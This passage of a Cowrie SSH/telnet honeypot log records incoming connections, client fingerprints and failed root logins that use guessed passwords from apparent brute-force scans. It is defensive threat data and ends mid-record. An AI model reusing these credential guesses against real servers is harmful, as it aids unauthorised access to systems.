{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:12.859692Z","src_ip":"108.179.220.174","session":"7f58aedf2304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome!@#$%^&*()!","message":"login attempt [root/welcome!@#$%^&*()!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:12.935929Z","src_ip":"108.179.220.174","session":"7f58aedf2304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":59428,"dst_ip":"159.203.135.109","dst_port":22,"session":"663c5ad36ef7","protocol":"ssh","message":"New connection: 46.19.67.181:59428 (159.203.135.109:22) [session: 663c5ad36ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:13.563960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:13.567610Z","src_ip":"46.19.67.181","session":"663c5ad36ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:13.676307Z","src_ip":"46.19.67.181","session":"663c5ad36ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:13.962646Z","src_ip":"108.179.220.174","session":"7f58aedf2304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"university","message":"login attempt [root/university] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:14.003624Z","src_ip":"46.19.67.181","session":"663c5ad36ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:15.116276Z","src_ip":"46.19.67.181","session":"663c5ad36ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58640,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2accc3fe122","protocol":"telnet","message":"New connection: 107.6.151.170:58640 (159.203.135.109:23) [session: e2accc3fe122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:16.267340Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33502,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec8567b04ec0","protocol":"telnet","message":"New connection: 107.6.151.170:33502 (159.203.135.109:23) [session: ec8567b04ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:17.272531Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84e91f89abc","protocol":"telnet","message":"New connection: 137.184.5.188:55740 (159.203.135.109:23) [session: c84e91f89abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:44.471461Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43744,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bdf59247a99","protocol":"ssh","message":"New connection: 193.37.70.224:43744 (159.203.135.109:22) [session: 5bdf59247a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:45.159739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:45.161940Z","src_ip":"193.37.70.224","session":"5bdf59247a99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:45.250738Z","src_ip":"193.37.70.224","session":"5bdf59247a99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bibika","message":"login attempt [root/bibika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:45.518557Z","src_ip":"193.37.70.224","session":"5bdf59247a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:46.609315Z","src_ip":"193.37.70.224","session":"5bdf59247a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.499594926834106,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:48.766628Z","src_ip":"107.6.151.170","session":"e2accc3fe122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04873609542847,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:54.321172Z","src_ip":"107.6.151.170","session":"ec8567b04ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":60828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90c7c07ec9d","protocol":"telnet","message":"New connection: 137.184.5.188:60828 (159.203.135.109:23) [session: c90c7c07ec9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:24.226378Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":32964,"dst_ip":"10.17.0.5","dst_port":22,"session":"313d58eb498b","protocol":"ssh","message":"New connection: 80.66.85.226:32964 (10.17.0.5:22) [session: 313d58eb498b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:33.785791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:33.789237Z","src_ip":"80.66.85.226","session":"313d58eb498b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:33.881743Z","src_ip":"80.66.85.226","session":"313d58eb498b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mateusz","message":"login attempt [root/mateusz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:34.160284Z","src_ip":"80.66.85.226","session":"313d58eb498b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:12:35.254857Z","src_ip":"80.66.85.226","session":"313d58eb498b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":9047,"dst_ip":"159.203.135.109","dst_port":22,"session":"b91d04c5bd28","protocol":"ssh","message":"New connection: 178.20.210.208:9047 (159.203.135.109:22) [session: b91d04c5bd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:03.707695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:03.715630Z","src_ip":"178.20.210.208","session":"b91d04c5bd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:03.823471Z","src_ip":"178.20.210.208","session":"b91d04c5bd28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX@","message":"login attempt [root/1QAZ2WSX@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:04.221353Z","src_ip":"178.20.210.208","session":"b91d04c5bd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:05.326144Z","src_ip":"178.20.210.208","session":"b91d04c5bd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63596,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb987ba39e07","protocol":"ssh","message":"New connection: 194.59.206.2:63596 (10.17.0.5:22) [session: bb987ba39e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:20.730527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:20.734092Z","src_ip":"194.59.206.2","session":"bb987ba39e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:20.819141Z","src_ip":"194.59.206.2","session":"bb987ba39e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:20.908365Z","src_ip":"194.59.206.2","session":"bb987ba39e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.1058657169342,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:27.577207Z","src_ip":"137.184.5.188","session":"c84e91f89abc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59372,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5c0bdf76a2","protocol":"ssh","message":"New connection: 62.133.62.83:59372 (10.17.0.5:22) [session: 4d5c0bdf76a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:35.203868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:35.209047Z","src_ip":"62.133.62.83","session":"4d5c0bdf76a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:35.297505Z","src_ip":"62.133.62.83","session":"4d5c0bdf76a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastia13","message":"login attempt [root/nastia13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:35.555455Z","src_ip":"62.133.62.83","session":"4d5c0bdf76a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:36.644937Z","src_ip":"62.133.62.83","session":"4d5c0bdf76a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35670,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22db1840c32","protocol":"ssh","message":"New connection: 103.27.238.114:35670 (10.17.0.5:22) [session: b22db1840c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:56.974261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:13:56.977965Z","src_ip":"103.27.238.114","session":"b22db1840c32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 